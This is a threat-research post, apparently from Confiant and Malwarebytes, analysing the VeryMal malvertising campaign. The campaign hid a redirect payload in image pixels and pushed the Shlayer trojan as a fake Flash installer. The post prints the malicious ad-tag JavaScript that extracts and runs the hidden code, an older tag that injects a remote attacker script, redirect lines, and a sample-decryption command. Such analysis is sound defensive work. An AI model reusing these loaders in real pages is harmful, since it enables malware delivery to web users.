Confiant & Malwarebytes Uncover Steganography Based Ad Payload That Drops Shlayer Trojan On Mac Users

By Eliya Stein

Recent months have seen an uptick in reports of JavaScript malware that hides in image files. This is often referred to as “image based malware” or “steganography malware” in more technical contexts.

noun: steganography
the practice of concealing messages or information within other nonsecret text or data.

This post will examine a steganography based payload utilized by a malvertiser that Confiant have dubbed VeryMal after one of their ad serving domains, Malwarebytes provided an analysis of the malicious binary that was dropped. It’s estimated based on the scope of our coverage that as many as 5MM visitors maybe have been subject to this recent malware campaign.

The result of the fully executed payload is this familiar browser hijack:

Much of the buzz around these types of attacks will have you believe that the image file alone is the threat and that we now have to fear the images that our browsers load during day to day web surfing, but this is a departure from the truth. Validating the integrity of individual image files served in ads makes little sense within the broader context of the execution of these payloads.

In fact, the steganography comes into play in order to deliver only part of the payload, and the image needs to be processed in order for that piece to be extracted and then utilized. The image alone will not harm your computer or redirect your browser.

Let’s look at the code:

<canvas id='iak'></canvas>
<script >
var wsw = "10512" ;var volton = "154c8e99-aad0-4658-b5fb-645c751ad42b";
var canvas = document['getElementById']('iak');
var ctx = canvas['getContext']('2d');
var image = new Image();
image['crossOrigin'] = '';
image['src'] = '';
var rs = '';
var isSupportFontFamily = function (c) {
if (typeof c != 'string') {
return ![];
var d = 'Arial';
if (c['toLowerCase']() == d['toLowerCase']()) {
return !![];
var e = 'a';
var f = 0x64;
var g = 0x64, h = 0x64;
var i = document['createElement']('canvas');
var j = i['getContext']('2d');
i['width'] = g;
i['height'] = h;
j['textAlign'] = 'center';
j['fillStyle'] = 'black';
j['textBaseline'] = 'middle';
var k = function (l) {
j['clearRect'](0x0, 0x0, g, h);
j['font'] = f + 'px\x20' + l + ',\x20' + d;
j['fillText'](e, g / 0x2, h / 0x2);
var m = j['getImageData'](0x0, 0x0, g, h)['data'];
return []['slice']['call'](m)['filter'](function (n) {
return n != 0x0;
return k(d)['join']('') !== k(c)['join']('');
var riXs = document['getElementsByTagName']('body');
var rrxT = riXs[0x0]['style']['cssText'];
if (isSupportFontFamily('-apple-system') && rrxT != 'margin:\x200px;') {
image['onload'] = function () {
ctx['drawImage'](image, 0x0, 0x0);
var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);
for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {
rs += String['fromCharCode'](o['data'][p + 0x2]);

If translated to plain english, the code would look something like this:

  • Create a Canvas object (this enables the use of the HTML5 Canvas API in order to interact with images and their underlying data.)
  • Grab the image located at: hxxp://
  • Define a function that checks if a specific font family is supported in the browser.
  • Check if Apple fonts are supported. If not, then do nothing.
  • If so, then loop through the underlying data in the image file. Each loop reads a pixel value and translates it into an alphanumeric character.
  • Add the newly extracted character to a string.
  • Execute the code in the string.

Images, loosely speaking, utilize non-executable file formats for storing compressed data. When a browser or other image viewer of your choice loads the image file, it basically uncompresses the file and uses the data to paint the image one pixel at a time. The “malicious” image above looks like this in a hex editor:

Much the same way as an image viewer needs to uncompress this data in order to render the final result, web developers are able to do their own low-level manipulations of image data using JavaScript and the HTML5 Canvas API.

The data manipulation happens in just a handful of lines of code:

The image itself is just small, white bar:

The hidden code, once extracted from the image, will look like this:

top.location.href =’hxxp://’ + volton + ‘?var1=’ + wsw;

Here it is with the parameters populated:


As malvertising detection continues to mature, sophisticated attackers are starting to learn that obvious methods of obfuscation are no longer getting the job done. The output of common JavaScript obfuscators is a very particular type of gibberish that can easily be recognized by the naked eye. Techniques like steganography are useful for smuggling payloads without relying on hex encoded strings or bulky lookup tables.

The `veryield-malyst` domain, as a case in point, has been active for months, but only recently are VeryMal starting to smuggle it using steganography. Here’s one of their tags ad tags from early November for comparison:

<script type='text/javascript'>
var a = 'w';
var b = 'layback';
var c = 'Target'
var d = 'vailability';
var e = 'vent';
var kk = 'c330e369ea42';
var f = a.toUpperCase() + 'ebKit' + 'P' + b + c + 'A' + d + 'E' +e;
if(f in window) {
ar sc = document.createElement("script");
ar mandow = "79d5e561-1a8d-48f6-abdb-495df89ec5e.";
ar ctt = "";
c.setAttribute("src", "https://" + mandow + ctt + "/csqc.js");
c.setAttribute("type", "text/javascript");
document.head["app" + "endC" + "hild"](sc);

The simplicity is always better illustrated with a translation to english:

  • Check if “WebKitPlaybackTargetAvailabilityEvent” exists in the Window object (a Safari targeting tactic).
  • If so, execute the JavaScript located at:

And the code there is of course familiar:

top.location.href = "hxxp://" + kk

VeryMal has run multiple campaigns in waves utilizing the veryield-malyst domain as their redirector since August of last year — this recent one being the most notable due to the steganography that was leveraged for client-side obfuscation.

The campaign was active from 1/11/2019 to 1/13/2019 on two top-tier exchanges that represent ~25% of top 100 publisher sites.

Confiant detected and blocked 191,970 impressions across our publisher customers. Only US visitors were targeted.

VeryMal Blocked Impressions By Hour 1/11/2019 – 1/13/2019

VeryMal also had significant end of year activity in December.

  • 437,819 Impressions detected and blocked by Confiant across two December campaigns.
  • US targeting split between Mac OS and IOS.
VeryMal Blocked Impressions By Hour 12/7/2018 – 12/13/2018
VeryMal Blocked Impressions By Hour 11/9/2018–12/17/2018

VeryMal utilizes HTTP 302 redirects through their domain to — a little known platform with contact information in Cyprus. Adpiano acts as a click tracker for these campaigns and other malvertisements including but not limited to:


Forced redirections are not the only attack vector for these bad actors, as they’ve been observed to brazenly run display ads for their malware installers under the guise of Flash updates and PC repair software. Creative samples from the December campaign include the following:

The recent VeryMal campaign leveraged the following (still active) click tracker in their redirect chain in order to drop the fake Flash update:


Landing pages for this campaign rotate through an eclectic collection of .icu domains like the following:

It’s unclear how many there are in total or how frequently they are rotated, as the campaigns themselves target specific platforms and messaging. The content for this report was collected via Google Chrome on Mac OS.

All of the landing pages have been observed to force the download of a file named AdobeFlashPlayerInstaller.iso

Virus Total:

Adam Thomas (@adamt5Six) from Malwarebytes was kind enough to provide further analysis of the binary, which follows below. Thanks Adam!

Sample name: AdobeFlashPlayerInstaller.iso
SHA-256: 75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f
File Type: Macintosh Disk Image
Digital signature: 2J5Q8FU8C6 (Apple Team ID)
OSX.Shlayer is a typical Mac adware installer utilizing a (somewhat) atypical installation routine likely in an effort to prevent detection on a target system.

Instead of the normal mach-o (Mac binary) contained within an application package, we find here instead a shell script. The script decrypts an AES-256 encrypted file contained within the Application Resources directory:

First, we have to remove the base64 encoding from the file:

$ openssl enc -d -aes-256-cbc -nosalt -pass pass:5683436752 -in enc.out -out enc.out.bin

After removing the encoding and decrypting with openssl, we see a readable script:

The script works to remove another layer of base64 encoding leaving us with strings of characters in hex format:

The script then converts the hex to ASCII format revealing another script and the final layer of our 1st stage downloader. A password protected ZIP file is downloaded and executed:

There are additional requests for scripts that occur after the execution of the payload that are believed to help render the installation screen for the adware dropper. Chances are that they also function to automatically click through the adware installer.

Malwarebytes have also been able to provide some additional visibility into the inner workings of this bad actor’s MO from findings they have gathered via analysis of tangential Windows based malware. The initial .icu domain performs a 302 redirect to another .icu that starts with www2.

The attacker infrastructure constitutes mostly of .icu domains that are created by the dozens and move around the AWS IP space. The URLs are generated with specific parameters and often with a very short TTL.

A small sample follows below:
The installer you get on Windows is what’s referred to as a PUP (Potentially Unwanted Program)

Windows installer VirusTotal:

Based on the volumes Confiant observed, at its peak the full scale of this specific attack triggered over 5 million times per day. The revenue impact of those 5 million malicious impressions needs to be measured from a multitude of different facets. You have the publisher who loses money directly from the interrupted user sessions, and loses future money from the increased ad blocking usage and user trust loss. There are the ad exchanges who had their inventory access cut off while they battled the infection and will have had some publishers pull their inventory out permanently. The advertisers will get hit with the resulting ad fraud from the infected devices. And let’s not disregard the user, who now has an infected device. Estimated all together, Confiant benchmarks the cost impact for just that Jan 11th peak alone to have been over $1.2 million. When you consider that this was just one of multiple hundreds attacks Confiant has caught and blocked over the past month alone, the scale of the issues facing the digital ad industry becomes clearer.